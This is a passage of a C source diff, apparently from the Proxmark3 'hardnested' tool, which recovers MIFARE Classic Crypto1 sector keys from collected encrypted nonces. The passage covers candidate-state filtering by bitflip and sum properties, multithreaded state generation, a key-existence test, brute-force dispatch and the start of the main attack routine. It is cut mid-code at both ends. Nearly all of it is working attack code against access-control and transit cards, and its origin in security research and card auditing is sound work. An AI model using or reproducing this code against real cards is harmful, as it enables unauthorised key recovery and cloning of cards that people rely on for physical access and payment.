(uint16_t i = 1; i < 256; i++) { + uint_fast8_t bytes_diff = reverse(i); // start with most common bits + uint_fast8_t byte2 = byte ^ bytes_diff; + uint_fast8_t num_common = trailing_zeros(bytes_diff); + uint32_t mask = masks[odd_even][num_common]; + bool found_match = false; + for (uint8_t remaining_bits = 0; remaining_bits <= (~mask & 0xff); remaining_bits++) { + if (remaining_bits_match(num_common, bytes_diff, state, (state & mask) | remaining_bits, odd_even)) { +#ifdef DEBUG_KEY_ELIMINATION + if (bitflips_match(byte2, (state & mask) | remaining_bits, odd_even, true)) { +#else + if (bitflips_match(byte2, (state & mask) | remaining_bits, odd_even)) { +#endif + found_match = true; + break; + } + } + } + if (!found_match) { +#ifdef DEBUG_KEY_ELIMINATION + if (known_target_key != -1 && state == test_state[odd_even]) { + printf("all_bitflips_match() 1st Byte: %s test state (0x%06x): Eliminated. Bytes = %02x, %02x, Common Bits = %d\n", + odd_even==ODD_STATE?"odd":"even", + test_state[odd_even], + byte, byte2, num_common); + if (failstr[0] == '\0') { + sprintf(failstr, "Other 1st Byte %s, all_bitflips_match(), no match", odd_even?"odd":"even"); + } + } +#endif + return false; + } + } + + return true; +} + + +static void bitarray_to_list(uint8_t byte, uint32_t *bitarray, uint32_t *state_list, uint32_t *len, odd_even_t odd_even) +{ + uint32_t *p = state_list; + for (uint32_t state = next_state(bitarray, -1L); state < (1<<24); state = next_state(bitarray, state)) { + if (all_bitflips_match(byte, state, odd_even)) { + *p++ = state; + } + } + // add End Of List marker + *p = 0xffffffff; + *len = p - state_list; +} + + +static void add_cached_states(statelist_t *candidates, uint16_t part_sum_a0, uint16_t part_sum_a8, odd_even_t odd_even) +{ + candidates->states[odd_even] = sl_cache[part_sum_a0/2][part_sum_a8/2][odd_even].sl; + candidates->len[odd_even] = sl_cache[part_sum_a0/2][part_sum_a8/2][odd_even].len; + return; +} + + +static void add_matching_states(statelist_t *candidates, uint8_t part_sum_a0, uint8_t part_sum_a8, odd_even_t odd_even) +{ + uint32_t worstcase_size = 1<<20; + candidates->states[odd_even] = (uint32_t *)malloc(sizeof(uint32_t) * worstcase_size); + if (candidates->states[odd_even] == NULL) { + PrintAndLog("Out of memory error in add_matching_states() - statelist.\n"); + exit(4); + } + uint32_t *candidates_bitarray = (uint32_t *)malloc_bitarray(sizeof(uint32_t) * (1<<19)); + if (candidates_bitarray == NULL) { + PrintAndLog("Out of memory error in add_matching_states() - bitarray.\n"); + free(candidates->states[odd_even]); + exit(4); + } + + uint32_t *bitarray_a0 = part_sum_a0_bitarrays[odd_even][part_sum_a0/2]; + uint32_t *bitarray_a8 = part_sum_a8_bitarrays[odd_even][part_sum_a8/2]; + uint32_t *bitarray_bitflips = nonces[best_first_bytes[0]].states_bitarray[odd_even]; + + // for (uint32_t i = 0; i < (1<<19); i++) { + // candidates_bitarray[i] = bitarray_a0[i] & bitarray_a8[i] & bitarray_bitflips[i]; + // } + bitarray_AND4(candidates_bitarray, bitarray_a0, bitarray_a8, bitarray_bitflips); + + bitarray_to_list(best_first_bytes[0], candidates_bitarray, candidates->states[odd_even], &(candidates->len[odd_even]), odd_even); + if (candidates->len[odd_even] == 0) { + free(candidates->states[odd_even]); + candidates->states[odd_even] = NULL; + } else if (candidates->len[odd_even] + 1 < worstcase_size) { + candidates->states[odd_even] = realloc(candidates->states[odd_even], sizeof(uint32_t) * (candidates->len[odd_even] + 1)); + } + free_bitarray(candidates_bitarray); + + + pthread_mutex_lock(&statelist_cache_mutex); + sl_cache[part_sum_a0/2][part_sum_a8/2][odd_even].sl = candidates->states[odd_even]; + sl_cache[part_sum_a0/2][part_sum_a8/2][odd_even].len = candidates->len[odd_even]; + sl_cache[part_sum_a0/2][part_sum_a8/2][odd_even].cache_status = COMPLETED; + pthread_mutex_unlock(&statelist_cache_mutex); + + return; +} + + +static statelist_t *add_more_candidates(void) +{ + statelist_t *new_candidates = candidates; + if (candidates == NULL) { + candidates = (statelist_t *)malloc(sizeof(statelist_t)); + new_candidates = candidates; + } else { + new_candidates = candidates; + while (new_candidates->next != NULL) { + new_candidates = new_candidates->next; + } + new_candidates = new_candidates->next = (statelist_t *)malloc(sizeof(statelist_t)); + } + new_candidates->next = NULL; + new_candidates->len[ODD_STATE] = 0; + new_candidates->len[EVEN_STATE] = 0; + new_candidates->states[ODD_STATE] = NULL; + new_candidates->states[EVEN_STATE] = NULL; + return new_candidates; +} + + +static void add_bitflip_candidates(uint8_t byte) +{ + statelist_t *candidates = add_more_candidates(); + + for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) { + uint32_t worstcase_size = nonces[byte].num_states_bitarray[odd_even] + 1; + candidates->states[odd_even] = (uint32_t *)malloc(sizeof(uint32_t) * worstcase_size); + if (candidates->states[odd_even] == NULL) { + PrintAndLog("Out of memory error in add_bitflip_candidates().\n"); + exit(4); + } + + bitarray_to_list(byte, nonces[byte].states_bitarray[odd_even], candidates->states[odd_even], &(candidates->len[odd_even]), odd_even); + + if (candidates->len[odd_even] + 1 < worstcase_size) { + candidates->states[odd_even] = realloc(candidates->states[odd_even], sizeof(uint32_t) * (candidates->len[odd_even] + 1)); + } + } + return; +} + + +static bool TestIfKeyExists(uint64_t key) +{ + struct Crypto1State *pcs; + pcs = crypto1_create(key); + crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true); + + uint32_t state_odd = pcs->odd & 0x00ffffff; + uint32_t state_even = pcs->even & 0x00ffffff; + + uint64_t count = 0; + for (statelist_t *p = candidates; p != NULL; p = p->next) { + bool found_odd = false; + bool found_even = false; + uint32_t *p_odd = p->states[ODD_STATE]; + uint32_t *p_even = p->states[EVEN_STATE]; + if (p_odd != NULL && p_even != NULL) { + while (*p_odd != 0xffffffff) { + if ((*p_odd & 0x00ffffff) == state_odd) { + found_odd = true; + break; + } + p_odd++; + } + while (*p_even != 0xffffffff) { + if ((*p_even & 0x00ffffff) == state_even) { + found_even = true; + } + p_even++; + } + count += (uint64_t)(p_odd - p->states[ODD_STATE]) * (uint64_t)(p_even - p->states[EVEN_STATE]); + } + if (found_odd && found_even) { + num_keys_tested += count; + hardnested_print_progress(num_acquired_nonces, "(Test: Key found)", 0.0, 0); + crypto1_destroy(pcs); + return true; + } + } + + num_keys_tested += count; + hardnested_print_progress(num_acquired_nonces, "(Test: Key NOT found)", 0.0, 0); + + crypto1_destroy(pcs); + return false; +} + + +static work_status_t book_of_work[NUM_PART_SUMS][NUM_PART_SUMS][NUM_PART_SUMS][NUM_PART_SUMS]; + + +static void init_book_of_work(void) +{ + for (uint8_t p = 0; p < NUM_PART_SUMS; p++) { + for (uint8_t q = 0; q < NUM_PART_SUMS; q++) { + for (uint8_t r = 0; r < NUM_PART_SUMS; r++) { + for (uint8_t s = 0; s < NUM_PART_SUMS; s++) { + book_of_work[p][q][r][s] = TO_BE_DONE; + } + } + } + } +} + + +static void *generate_candidates_worker_thread(void *args) +{ + uint16_t *sum_args = (uint16_t *)args; + uint16_t sum_a0 = sums[sum_args[0]]; + uint16_t sum_a8 = sums[sum_args[1]]; + // uint16_t my_thread_number = sums[2]; + + bool there_might_be_more_work = true; + do { + there_might_be_more_work = false; + for (uint8_t p = 0; p < NUM_PART_SUMS; p++) { + for (uint8_t q = 0; q < NUM_PART_SUMS; q++) { + if (2*p*(16-2*q) + (16-2*p)*2*q == sum_a0) { + // printf("Reducing Partial Statelists (p,q) = (%d,%d) with lengths %d, %d\n", + // p, q, partial_statelist[p].len[ODD_STATE], partial_statelist[q].len[EVEN_STATE]); + for (uint8_t r = 0; r < NUM_PART_SUMS; r++) { + for (uint8_t s = 0; s < NUM_PART_SUMS; s++) { + if (2*r*(16-2*s) + (16-2*r)*2*s == sum_a8) { + pthread_mutex_lock(&book_of_work_mutex); + if (book_of_work[p][q][r][s] != TO_BE_DONE) { // this has been done or is currently been done by another thread. Look for some other work. + pthread_mutex_unlock(&book_of_work_mutex); + continue; + } + + pthread_mutex_lock(&statelist_cache_mutex); + if (sl_cache[p][r][ODD_STATE].cache_status == WORK_IN_PROGRESS + || sl_cache[q][s][EVEN_STATE].cache_status == WORK_IN_PROGRESS) { // defer until not blocked by another thread. + pthread_mutex_unlock(&statelist_cache_mutex); + pthread_mutex_unlock(&book_of_work_mutex); + there_might_be_more_work = true; + continue; + } + + // we finally can do some work. + book_of_work[p][q][r][s] = WORK_IN_PROGRESS; + statelist_t *current_candidates = add_more_candidates(); + + // Check for cached results and add them first + bool odd_completed = false; + if (sl_cache[p][r][ODD_STATE].cache_status == COMPLETED) { + add_cached_states(current_candidates, 2*p, 2*r, ODD_STATE); + odd_completed = true; + } + bool even_completed = false; + if (sl_cache[q][s][EVEN_STATE].cache_status == COMPLETED) { + add_cached_states(current_candidates, 2*q, 2*s, EVEN_STATE); + even_completed = true; + } + + bool work_required = true; + + // if there had been two cached results, there is no more work to do + if (even_completed && odd_completed) { + work_required = false; + } + + // if there had been one cached empty result, there is no need to calculate the other part: + if (work_required) { + if (even_completed && !current_candidates->len[EVEN_STATE]) { + current_candidates->len[ODD_STATE] = 0; + current_candidates->states[ODD_STATE] = NULL; + work_required = false; + } + if (odd_completed && !current_candidates->len[ODD_STATE]) { + current_candidates->len[EVEN_STATE] = 0; + current_candidates->states[EVEN_STATE] = NULL; + work_required = false; + } + } + + if (!work_required) { + pthread_mutex_unlock(&statelist_cache_mutex); + pthread_mutex_unlock(&book_of_work_mutex); + } else { + // we really need to calculate something + if (even_completed) { // we had one cache hit with non-zero even states + // printf("Thread #%u: start working on odd states p=%2d, r=%2d...\n", my_thread_number, p, r); + sl_cache[p][r][ODD_STATE].cache_status = WORK_IN_PROGRESS; + pthread_mutex_unlock(&statelist_cache_mutex); + pthread_mutex_unlock(&book_of_work_mutex); + add_matching_states(current_candidates, 2*p, 2*r, ODD_STATE); + work_required = false; + } else if (odd_completed) { // we had one cache hit with non-zero odd_states + // printf("Thread #%u: start working on even states q=%2d, s=%2d...\n", my_thread_number, q, s); + sl_cache[q][s][EVEN_STATE].cache_status = WORK_IN_PROGRESS; + pthread_mutex_unlock(&statelist_cache_mutex); + pthread_mutex_unlock(&book_of_work_mutex); + add_matching_states(current_candidates, 2*q, 2*s, EVEN_STATE); + work_required = false; + } + } + + if (work_required) { // we had no cached result. Need to calculate both odd and even + sl_cache[p][r][ODD_STATE].cache_status = WORK_IN_PROGRESS; + sl_cache[q][s][EVEN_STATE].cache_status = WORK_IN_PROGRESS; + pthread_mutex_unlock(&statelist_cache_mutex); + pthread_mutex_unlock(&book_of_work_mutex); + + add_matching_states(current_candidates, 2*p, 2*r, ODD_STATE); + if(current_candidates->len[ODD_STATE]) { + // printf("Thread #%u: start working on even states q=%2d, s=%2d...\n", my_thread_number, q, s); + add_matching_states(current_candidates, 2*q, 2*s, EVEN_STATE); + } else { // no need to calculate even states yet + pthread_mutex_lock(&statelist_cache_mutex); + sl_cache[q][s][EVEN_STATE].cache_status = TO_BE_DONE; + pthread_mutex_unlock(&statelist_cache_mutex); + current_candidates->len[EVEN_STATE] = 0; + current_candidates->states[EVEN_STATE] = NULL; + } + } + + // update book of work + pthread_mutex_lock(&book_of_work_mutex); + book_of_work[p][q][r][s] = COMPLETED; + pthread_mutex_unlock(&book_of_work_mutex); + + // if ((uint64_t)current_candidates->len[ODD_STATE] * current_candidates->len[EVEN_STATE]) { + // printf("Candidates for p=%2u, q=%2u, r=%2u, s=%2u: %" PRIu32 " * %" PRIu32 " = %" PRIu64 " (2^%0.1f)\n", + // 2*p, 2*q, 2*r, 2*s, current_candidates->len[ODD_STATE], current_candidates->len[EVEN_STATE], + // (uint64_t)current_candidates->len[ODD_STATE] * current_candidates->len[EVEN_STATE], + // log((uint64_t)current_candidates->len[ODD_STATE] * current_candidates->len[EVEN_STATE])/log(2)); + // uint32_t estimated_odd = estimated_num_states_part_sum(best_first_bytes[0], p, r, ODD_STATE); + // uint32_t estimated_even= estimated_num_states_part_sum(best_first_bytes[0], q, s, EVEN_STATE); + // uint64_t estimated_total = (uint64_t)estimated_odd * estimated_even; + // printf("Estimated: %" PRIu32 " * %" PRIu32 " = %" PRIu64 " (2^%0.1f)\n", estimated_odd, estimated_even, estimated_total, log(estimated_total) / log(2)); + // if (estimated_odd < current_candidates->len[ODD_STATE] || estimated_even < current_candidates->len[EVEN_STATE]) { + // printf("############################################################################ERROR! ESTIMATED < REAL !!!\n"); + // //exit(2); + // } + // } + } + } + } + } + } + } + } while (there_might_be_more_work); + + return NULL; +} + + +static void generate_candidates(uint8_t sum_a0_idx, uint8_t sum_a8_idx) +{ + // printf("Generating crypto1 state candidates... \n"); + + // estimate maximum candidate states + // maximum_states = 0; + // for (uint16_t sum_odd = 0; sum_odd <= 16; sum_odd += 2) { + // for (uint16_t sum_even = 0; sum_even <= 16; sum_even += 2) { + // if (sum_odd*(16-sum_even) + (16-sum_odd)*sum_even == sum_a0) { + // maximum_states += (uint64_t)count_states(part_sum_a0_bitarrays[EVEN_STATE][sum_even/2]) + // * count_states(part_sum_a0_bitarrays[ODD_STATE][sum_odd/2]); + // } + // } + // } + // printf("Number of possible keys with Sum(a0) = %d: %" PRIu64 " (2^%1.1f)\n", sum_a0, maximum_states, log(maximum_states)/log(2.0)); + + init_statelist_cache(); + init_book_of_work(); + + // create mutexes for accessing the statelist cache and our "book of work" + pthread_mutex_init(&statelist_cache_mutex, NULL); + pthread_mutex_init(&book_of_work_mutex, NULL); + + // create and run worker threads + pthread_t thread_id[NUM_REDUCTION_WORKING_THREADS]; + + uint16_t sums[NUM_REDUCTION_WORKING_THREADS][3]; + for (uint16_t i = 0; i < NUM_REDUCTION_WORKING_THREADS; i++) { + sums[i][0] = sum_a0_idx; + sums[i][1] = sum_a8_idx; + sums[i][2] = i+1; + pthread_create(thread_id + i, NULL, generate_candidates_worker_thread, sums[i]); + } + + // wait for threads to terminate: + for (uint16_t i = 0; i < NUM_REDUCTION_WORKING_THREADS; i++) { + pthread_join(thread_id[i], NULL); + } + + // clean up mutex + pthread_mutex_destroy(&statelist_cache_mutex); + + maximum_states = 0; + for (statelist_t *sl = candidates; sl != NULL; sl = sl->next) { + maximum_states += (uint64_t)sl->len[ODD_STATE] * sl->len[EVEN_STATE]; + } + + for (uint8_t i = 0; i < NUM_SUMS; i++) { + if (nonces[best_first_bytes[0]].sum_a8_guess[i].sum_a8_idx == sum_a8_idx) { + nonces[best_first_bytes[0]].sum_a8_guess[i].num_states = maximum_states; + break; + } + } + update_expected_brute_force(best_first_bytes[0]); + + hardnested_print_progress(num_acquired_nonces, "Apply Sum(a8) and all bytes bitflip properties", nonces[best_first_bytes[0]].expected_num_brute_force, 0); +} + + +static void free_candidates_memory(statelist_t *sl) +{ + if (sl == NULL) { + return; + } else { + free_candidates_memory(sl->next); + free(sl); + } +} + + +static void pre_XOR_nonces(void) +{ + // prepare acquired nonces for faster brute forcing. + + // XOR the cryptoUID and its parity + for (uint16_t i = 0; i < 256; i++) { + noncelistentry_t *test_nonce = nonces[i].first; + while (test_nonce != NULL) { + test_nonce->nonce_enc ^= cuid; + test_nonce->par_enc ^= oddparity8(cuid >> 0 & 0xff) << 0; + test_nonce->par_enc ^= oddparity8(cuid >> 8 & 0xff) << 1; + test_nonce->par_enc ^= oddparity8(cuid >> 16 & 0xff) << 2; + test_nonce->par_enc ^= oddparity8(cuid >> 24 & 0xff) << 3; + test_nonce = test_nonce->next; + } + } +} + + +static bool brute_force(void) +{ + if (known_target_key != -1) { + TestIfKeyExists(known_target_key); + } + return brute_force_bs(NULL, candidates, cuid, num_acquired_nonces, maximum_states, nonces, best_first_bytes); +} + + +static uint16_t SumProperty(struct Crypto1State *s) +{ + uint16_t sum_odd = PartialSumProperty(s->odd, ODD_STATE); + uint16_t sum_even = PartialSumProperty(s->even, EVEN_STATE); + return (sum_odd*(16-sum_even) + (16-sum_odd)*sum_even); +} + + +static void Tests() +{ + +/* #define NUM_STATISTICS 100000 + uint32_t statistics_odd[17]; + uint64_t statistics[257]; + uint32_t statistics_even[17]; + struct Crypto1State cs; + uint64_t time1 = msclock(); + + for (uint16_t i = 0; i < 257; i++) { + statistics[i] = 0; + } + for (uint16_t i = 0; i < 17; i++) { + statistics_odd[i] = 0; + statistics_even[i] = 0; + } + + for (uint64_t i = 0; i < NUM_STATISTICS; i++) { + cs.odd = (rand() & 0xfff) << 12 | (rand() & 0xfff); + cs.even = (rand() & 0xfff) << 12 | (rand() & 0xfff); + uint16_t sum_property = SumProperty(&cs); + statistics[sum_property] += 1; + sum_property = PartialSumProperty(cs.even, EVEN_STATE); + statistics_even[sum_property]++; + sum_property = PartialSumProperty(cs.odd, ODD_STATE); + statistics_odd[sum_property]++; + if (i%(NUM_STATISTICS/100) == 0) printf("."); + } + + printf("\nTests: Calculated %d Sum properties in %0.3f seconds (%0.0f calcs/second)\n", NUM_STATISTICS, ((float)msclock() - time1)/1000.0, NUM_STATISTICS/((float)msclock() - time1)*1000.0); + for (uint16_t i = 0; i < 257; i++) { + if (statistics[i] != 0) { + printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/NUM_STATISTICS); + } + } + for (uint16_t i = 0; i <= 16; i++) { + if (statistics_odd[i] != 0) { + printf("probability odd [%2d] = %0.5f\n", i, (float)statistics_odd[i]/NUM_STATISTICS); + } + } + for (uint16_t i = 0; i <= 16; i++) { + if (statistics_odd[i] != 0) { + printf("probability even [%2d] = %0.5f\n", i, (float)statistics_even[i]/NUM_STATISTICS); + } + } + */ + +/* #define NUM_STATISTICS 100000000LL + uint64_t statistics_a0[257]; + uint64_t statistics_a8[257][257]; + struct Crypto1State cs; + uint64_t time1 = msclock(); + + for (uint16_t i = 0; i < 257; i++) { + statistics_a0[i] = 0; + for (uint16_t j = 0; j < 257; j++) { + statistics_a8[i][j] = 0; + } + } + + for (uint64_t i = 0; i < NUM_STATISTICS; i++) { + cs.odd = (rand() & 0xfff) << 12 | (rand() & 0xfff); + cs.even = (rand() & 0xfff) << 12 | (rand() & 0xfff); + uint16_t sum_property_a0 = SumProperty(&cs); + statistics_a0[sum_property_a0]++; + uint8_t first_byte = rand() & 0xff; + crypto1_byte(&cs, first_byte, true); + uint16_t sum_property_a8 = SumProperty(&cs); + statistics_a8[sum_property_a0][sum_property_a8] += 1; + if (i%(NUM_STATISTICS/100) == 0) printf("."); + } + + printf("\nTests: Probability Distribution of a8 depending on a0:\n"); + printf("\n "); + for (uint16_t i = 0; i < NUM_SUMS; i++) { + printf("%7d ", sums[i]); + } + printf("\n-------------------------------------------------------------------------------------------------------------------------------------------\n"); + printf("a0: "); + for (uint16_t i = 0; i < NUM_SUMS; i++) { + printf("%7.5f ", (float)statistics_a0[sums[i]] / NUM_STATISTICS); + } + printf("\n"); + for (uint16_t i = 0; i < NUM_SUMS; i++) { + printf("%3d ", sums[i]); + for (uint16_t j = 0; j < NUM_SUMS; j++) { + printf("%7.5f ", (float)statistics_a8[sums[i]][sums[j]] / statistics_a0[sums[i]]); + } + printf("\n"); + } + printf("\nTests: Calculated %"lld" Sum properties in %0.3f seconds (%0.0f calcs/second)\n", NUM_STATISTICS, ((float)msclock() - time1)/1000.0, NUM_STATISTICS/((float)msclock() - time1)*1000.0); + */ + +/* #define NUM_STATISTICS 100000LL + uint64_t statistics_a8[257]; + struct Crypto1State cs; + uint64_t time1 = msclock(); + + printf("\nTests: Probability Distribution of a8 depending on first byte:\n"); + printf("\n "); + for (uint16_t i = 0; i < NUM_SUMS; i++) { + printf("%7d ", sums[i]); + } + printf("\n-------------------------------------------------------------------------------------------------------------------------------------------\n"); + for (uint16_t first_byte = 0; first_byte < 256; first_byte++) { + for (uint16_t i = 0; i < 257; i++) { + statistics_a8[i] = 0; + } + for (uint64_t i = 0; i < NUM_STATISTICS; i++) { + cs.odd = (rand() & 0xfff) << 12 | (rand() & 0xfff); + cs.even = (rand() & 0xfff) << 12 | (rand() & 0xfff); + crypto1_byte(&cs, first_byte, true); + uint16_t sum_property_a8 = SumProperty(&cs); + statistics_a8[sum_property_a8] += 1; + } + printf("%03x ", first_byte); + for (uint16_t j = 0; j < NUM_SUMS; j++) { + printf("%7.5f ", (float)statistics_a8[sums[j]] / NUM_STATISTICS); + } + printf("\n"); + } + printf("\nTests: Calculated %"lld" Sum properties in %0.3f seconds (%0.0f calcs/second)\n", NUM_STATISTICS, ((float)msclock() - time1)/1000.0, NUM_STATISTICS/((float)msclock() - time1)*1000.0); +*/ + +/* printf("Tests: Sum Probabilities based on Partial Sums\n"); + for (uint16_t i = 0; i < 257; i++) { + statistics[i] = 0; + } + uint64_t num_states = 0; + for (uint16_t oddsum = 0; oddsum <= 16; oddsum += 2) { + for (uint16_t evensum = 0; evensum <= 16; evensum += 2) { + uint16_t sum = oddsum*(16-evensum) + (16-oddsum)*evensum; + statistics[sum] += (uint64_t)partial_statelist[oddsum].len[ODD_STATE] * partial_statelist[evensum].len[EVEN_STATE] * (1<<8); + num_states += (uint64_t)partial_statelist[oddsum].len[ODD_STATE] * partial_statelist[evensum].len[EVEN_STATE] * (1<<8); + } + } + printf("num_states = %"lld", expected %"lld"\n", num_states, (1LL<<48)); + for (uint16_t i = 0; i < 257; i++) { + if (statistics[i] != 0) { + printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/num_states); + } + } + */ + +/* struct Crypto1State *pcs; + pcs = crypto1_create(0xffffffffffff); + printf("\nTests: for key = 0xffffffffffff:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n", + SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff); + crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true); + printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n", + best_first_bytes[0], + SumProperty(pcs), + pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff); + //test_state_odd = pcs->odd & 0x00ffffff; + //test_state_even = pcs->even & 0x00ffffff; + crypto1_destroy(pcs); + pcs = crypto1_create(0xa0a1a2a3a4a5); + printf("Tests: for key = 0xa0a1a2a3a4a5:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n", + SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff); + crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true); + printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n", + best_first_bytes[0], + SumProperty(pcs), + pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff); + //test_state_odd = pcs->odd & 0x00ffffff; + //test_state_even = pcs->even & 0x00ffffff; + crypto1_destroy(pcs); + pcs = crypto1_create(0xa6b9aa97b955); + printf("Tests: for key = 0xa6b9aa97b955:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n", + SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff); + crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true); + printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n", + best_first_bytes[0], + SumProperty(pcs), + pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff); + test_state_odd = pcs->odd & 0x00ffffff; + test_state_even = pcs->even & 0x00ffffff; + crypto1_destroy(pcs); + */ + + // printf("\nTests: Sorted First Bytes:\n"); + // for (uint16_t i = 0; i < 20; i++) { + // uint8_t best_byte = best_first_bytes[i]; + // //printf("#%03d Byte: %02x, n = %3d, k = %3d, Sum(a8): %3d, Confidence: %5.1f%%\n", + // printf("#%03d Byte: %02x, n = %3d, k = %3d, Sum(a8) = ", i, best_byte, nonces[best_byte].num, nonces[best_byte].Sum); + // for (uint16_t j = 0; j < 3; j++) { + // printf("%3d @ %4.1f%%, ", sums[nonces[best_byte].sum_a8_guess[j].sum_a8_idx], nonces[best_byte].sum_a8_guess[j].prob * 100.0); + // } + // printf(" %12" PRIu64 ", %12" PRIu64 ", %12" PRIu64 ", exp_brute: %12.0f\n", + // nonces[best_byte].sum_a8_guess[0].num_states, + // nonces[best_byte].sum_a8_guess[1].num_states, + // nonces[best_byte].sum_a8_guess[2].num_states, + // nonces[best_byte].expected_num_brute_force); + // } + + // printf("\nTests: Actual BitFlipProperties of best byte:\n"); + // printf("[%02x]:", best_first_bytes[0]); + // for (uint16_t bitflip_idx = 0; bitflip_idx < num_all_effective_bitflips; bitflip_idx++) { + // uint16_t bitflip_prop = all_effective_bitflip[bitflip_idx]; + // if (nonces[best_first_bytes[0]].BitFlips[bitflip_prop]) { + // printf(" %03" PRIx16 , bitflip_prop); + // } + // } + // printf("\n"); + + // printf("\nTests2: Actual BitFlipProperties of first_byte_smallest_bitarray:\n"); + // printf("[%02x]:", best_first_byte_smallest_bitarray); + // for (uint16_t bitflip_idx = 0; bitflip_idx < num_all_effective_bitflips; bitflip_idx++) { + // uint16_t bitflip_prop = all_effective_bitflip[bitflip_idx]; + // if (nonces[best_first_byte_smallest_bitarray].BitFlips[bitflip_prop]) { + // printf(" %03" PRIx16 , bitflip_prop); + // } + // } + // printf("\n"); + + if (known_target_key != -1) { + for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) { + uint32_t *bitset = nonces[best_first_bytes[0]].states_bitarray[odd_even]; + if (!test_bit24(bitset, test_state[odd_even])) { + printf("\nBUG: known target key's %s state is not member of first nonce byte's (0x%02x) states_bitarray!\n", + odd_even==EVEN_STATE?"even":"odd ", + best_first_bytes[0]); + } + } + } + + if (known_target_key != -1) { + for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) { + uint32_t *bitset = all_bitflips_bitarray[odd_even]; + if (!test_bit24(bitset, test_state[odd_even])) { + printf("\nBUG: known target key's %s state is not member of all_bitflips_bitarray!\n", + odd_even==EVEN_STATE?"even":"odd "); + } + } + } + + // if (known_target_key != -1) { + // int16_t p = -1, q = -1, r = -1, s = -1; + + // printf("\nTests: known target key is member of these partial sum_a0 bitsets:\n"); + // for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) { + // printf("%s", odd_even==EVEN_STATE?"even:":"odd: "); + // for (uint16_t i = 0; i < NUM_PART_SUMS; i++) { + // uint32_t *bitset = part_sum_a0_bitarrays[odd_even][i]; + // if (test_bit24(bitset, test_state[odd_even])) { + // printf("%d ", i); + // if (odd_even == ODD_STATE) { + // p = 2*i; + // } else { + // q = 2*i; + // } + // } + // } + // printf("\n"); + // } + + // printf("\nTests: known target key is member of these partial sum_a8 bitsets:\n"); + // for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) { + // printf("%s", odd_even==EVEN_STATE?"even:":"odd: "); + // for (uint16_t i = 0; i < NUM_PART_SUMS; i++) { + // uint32_t *bitset = part_sum_a8_bitarrays[odd_even][i]; + // if (test_bit24(bitset, test_state[odd_even])) { + // printf("%d ", i); + // if (odd_even == ODD_STATE) { + // r = 2*i; + // } else { + // s = 2*i; + // } + // } + // } + // printf("\n"); + // } + + // printf("Sum(a0) = p*(16-q) + (16-p)*q = %d*(16-%d) + (16-%d)*%d = %d\n", p, q, p, q, p*(16-q)+(16-p)*q); + // printf("Sum(a8) = r*(16-s) + (16-r)*s = %d*(16-%d) + (16-%d)*%d = %d\n", r, s, r, s, r*(16-s)+(16-r)*s); + // } + + /* printf("\nTests: parity performance\n"); + uint64_t time1p = msclock(); + uint32_t par_sum = 0; + for (uint32_t i = 0; i < 100000000; i++) { + par_sum += parity(i); + } + printf("parsum oldparity = %d, time = %1.5fsec\n", par_sum, (float)(msclock() - time1p)/1000.0); + + time1p = msclock(); + par_sum = 0; + for (uint32_t i = 0; i < 100000000; i++) { + par_sum += evenparity32(i); + } + printf("parsum newparity = %d, time = %1.5fsec\n", par_sum, (float)(msclock() - time1p)/1000.0); + */ + +} + + +static void Tests2(void) +{ + if (known_target_key != -1) { + for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) { + uint32_t *bitset = nonces[best_first_byte_smallest_bitarray].states_bitarray[odd_even]; + if (!test_bit24(bitset, test_state[odd_even])) { + printf("\nBUG: known target key's %s state is not member of first nonce byte's (0x%02x) states_bitarray!\n", + odd_even==EVEN_STATE?"even":"odd ", + best_first_byte_smallest_bitarray); + } + } + } + + if (known_target_key != -1) { + for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) { + uint32_t *bitset = all_bitflips_bitarray[odd_even]; + if (!test_bit24(bitset, test_state[odd_even])) { + printf("\nBUG: known target key's %s state is not member of all_bitflips_bitarray!\n", + odd_even==EVEN_STATE?"even":"odd "); + } + } + } + +} + + +static uint16_t real_sum_a8 = 0; + +static void set_test_state(uint8_t byte) +{ + struct Crypto1State *pcs; + pcs = crypto1_create(known_target_key); + crypto1_byte(pcs, (cuid >> 24) ^ byte, true); + test_state[ODD_STATE] = pcs->odd & 0x00ffffff; + test_state[EVEN_STATE] = pcs->even & 0x00ffffff; + real_sum_a8 = SumProperty(pcs); + crypto1_destroy(pcs); +} + + +int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *trgkey, bool nonce_file_read, bool nonce_file_write, bool slow, int tests) +{ + char progress_text[80]; + + srand((unsigned) time(NULL)); + brute_force_per_second = brute_force_benchmark(); + write_stats = false; + + if (tests) { + // set the correct locale for the stats printing + write_stats = true; + setlocale(LC_NUMERIC, ""); + if ((fstats = fopen("hardnested_stats.txt","a")) == NULL) { + PrintAndLog("Could not create/open file hardnested_stats.txt"); + return 3; + } + for (uint32_t i = 0; i < tests; i++) { + start_time = msclock(); + print_progress_header(); + sprintf(progress_text, "Brute force 